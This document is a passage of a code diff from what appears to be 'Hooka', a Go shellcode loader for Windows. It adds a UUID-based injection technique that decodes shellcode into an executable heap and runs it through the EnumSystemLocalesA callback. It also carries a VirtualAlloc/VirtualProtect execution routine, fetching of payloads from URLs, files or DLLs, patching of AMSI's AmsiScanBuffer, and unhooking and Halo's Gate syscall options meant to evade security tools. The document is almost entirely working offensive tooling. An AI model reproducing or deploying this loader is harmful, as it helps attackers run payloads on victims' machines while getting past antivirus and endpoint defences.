windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if errVirtualAlloc != nil {
return fmt.Errorf("Error calling VirtualAlloc: %s", errVirtualAlloc.Error())
}
if (addr == 0) {
return fmt.Errorf("VirtualAlloc failed and returned 0")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
if errRtlCopyMemory != nil {
return fmt.Errorf("Error calling RtlCopyMemory: %s", errRtlCopyMemory.Error())
}
oldProtect := windows.PAGE_READWRITE
// Protect memory
_, _, errVirtualProtect := VirtualProtect.Call(
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
if errVirtualProtect != nil {
return fmt.Errorf("Error calling VirtualProtect: %s", errVirtualProtect.Error())
}
// Execute shellcode
_, _, errSyscall := syscall.Syscall(
addr,
0,
0,
0,
0,
)
if errSyscall != 0 {
return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error())
}
return nil
}
func WriteMemory(inbuf []byte, destination uintptr) {
for index := uint32(0); index < uint32(len(inbuf)); index++ {
writePtr := unsafe.Pointer(destination + uintptr(index))
v := (*byte)(writePtr)
*v = inbuf[index]
}
}
+93
View File
@@ -0,0 +1,93 @@
package core
import (
"fmt"
"bytes"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
"github.com/google/uuid"
)
func UuidFromString(shellcode []byte) (error) {
uuids, err := shellcodeToUUID(shellcode)
if err != nil {
return err
}
kernel32 := windows.NewLazySystemDLL("kernel32")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
heapCreate := kernel32.NewProc("HeapCreate")
heapAlloc := kernel32.NewProc("HeapAlloc")
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0)
if heapAddr == 0 {
return err
}
addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000)
if addr == 0 {
return err
}
addrPtr := addr
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
if rpcStatus != 0 {
return err
}
addrPtr += 16
}
ret, _, err := enumSystemLocalesA.Call(addr, 0)
if ret == 0 {
return err
}
return nil
}
func shellcodeToUUID(shellcode []byte) ([]string, error) {
if 16-len(shellcode)%16 < 16 {
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
shellcode = append(shellcode, pad...)
}
var uuids []string
for i := 0; i < len(shellcode); i += 16 {
var uuidBytes []byte
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
uuidBytes = append(uuidBytes, buf...)
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
u, err := uuid.FromBytes(uuidBytes)
if err != nil {
return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
}
uuids = append(uuids, u.String())
}
return uuids, nil
}
+3 -1
View File
@@ -5,16 +5,18 @@ go 1.19
require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
github.com/D3Ext/maldev v0.1.3
github.com/google/uuid v1.3.0
golang.org/x/sys v0.3.0
)
require (
github.com/D3Ext/maldev v0.1.3 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/briandowns/spinner v1.20.0 // indirect
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
github.com/fatih/color v1.13.0 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
golang.org/x/term v0.3.0 // indirect
)
+4
View File
@@ -14,6 +14,8 @@ github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
@@ -21,6 +23,8 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+90 -34
View File
@@ -20,7 +20,7 @@ func main() {
var err error
// Parse CLI flags and retrieve values
sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, lsass := core.ParseFlags()
l.PrintBanner("Hooka!") // Print script banner with version
l.Println(" by D3Ext - v0.1")
@@ -50,6 +50,13 @@ func main() {
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
if (technique != "CreateRemoteThread") && (technique != "CreateProcess") && (technique != "EarlyBirdApc") && (technique != "UuidFromString") && (technique != "") {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Unknown injection technique! See help panel\n")
os.Exit(0)
}
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
@@ -100,14 +107,16 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
l.Println("[*] Patching AMSI by overwriting function memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
if (amsi) {
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
// Unhook function(s)
if (unhook == 1) {
@@ -146,10 +155,19 @@ func main() {
l.Println("[*] Injecting shellcode using " + technique + " function")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
if (halos) { // Check if --halos flag was used
err := core.InjectHalos(shellcode, technique)
if err != nil {
l.Fatal(err)
}
} else {
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
if err != nil { // Handle error
l.Fatal(err)
}
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
@@ -207,14 +225,16 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
l.Println("[*] Patching AMSI by overwriting function memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
if (amsi) {
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
// Unhook function(s)
if (unhook == 1) {
@@ -254,10 +274,20 @@ func main() {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
if (halos) { // Check if --halos flag was used
err := core.InjectHalos(shellcode, technique)
if err != nil {
l.Fatal(err)
}
} else {
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
if err != nil { // Handle error
l.Fatal(err)
}
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
@@ -290,7 +320,7 @@ func main() {
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Converting " + dll_filename + " to position independant shellcode")
l.Println("[*] Converting " + dll_filename + " to shellcode")
shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
if err != nil { // Handle error
l.Fatal(err)
@@ -299,14 +329,16 @@ func main() {
l.Println("[+] Process finished successfully!")
time.Sleep(200 * time.Millisecond)
l.Println("[*] Patching AMSI by overwriting function memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
if (amsi) {
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
// Unhook function(s)
if (unhook == 1) {
@@ -346,10 +378,19 @@ func main() {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
if (halos) {
err = core.InjectHalos(shellcode, technique)
if err != nil {
l.Fatal(err)
}
} else {
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
if err != nil { // Handle error
l.Fatal(err)
}
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
@@ -380,10 +421,25 @@ func main() {
} else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) {
l.Println("\n[*] Testing shellcode injection with calc.exe shellcode")
l.Println("\n[*] Testing with calc.exe shellcode")
time.Sleep(200 * time.Millisecond)
err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode
if (amsi) {
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
time.Sleep(200 * time.Millisecond)
err = core.PatchAmsi()
if err != nil {
l.Println("[-] An error has ocurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
err := core.Inject(core.CalcShellcode(), technique) // Inject calc.exe shellcode
if err != nil { // Handle error
l.Fatal(err)
}
+7
View File
@@ -0,0 +1,7 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func GetSysId(funcname string) (uint16, error) {
return core.GetSysId(funcname)
}
+2 -6
View File
@@ -1,12 +1,8 @@
package hooka
import (
"golang.org/x/sys/windows"
import "github.com/D3Ext/Hooka/core"
"github.com/D3Ext/Hooka/core"
)
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
func FuncFromHash(hash string, dll string) (uint16, string, error) {
return core.FuncFromHash(hash, dll)
}
-8
View File
@@ -1,8 +0,0 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func HellsGate(funcname string) (error) {
return core.HellsGate(funcname)
}
+14
View File
@@ -18,4 +18,18 @@ func EarlyBirdApc(shellcode []byte) (error) {
return core.EarlyBirdApc(shellcode)
}
func UuidFromString(shellcode []byte) (error) {
return core.UuidFromString(shellcode)
}
/*
Hell's Gate + Halo's Gate functions (WIP)
*/
func CreateProcessHalos(shellcode []byte) (error) {
return core.CreateProcessHalos(shellcode)
}
+16
View File
@@ -0,0 +1,16 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func Syscall(callid uint16, argh ...uintptr) (uint32, error) {
return core.Syscall(callid, argh...)
}
func Execute(shellcode []byte) (error) {
return core.Execute(shellcode)
}
func WriteMemory(inbuf []byte, destination uintptr) {
core.WriteMemory(inbuf, destination)
}
+1 -1
View File
@@ -3,7 +3,7 @@ package hooka
import "github.com/D3Ext/Hooka/core"
func ClassicUnhook(funcname string, dllpath string) (error) {
return core.Unhook(funcname, dllpath)
return core.ClassicUnhook(funcname, dllpath)
}
func FullUnhook(dllpath string) (error) {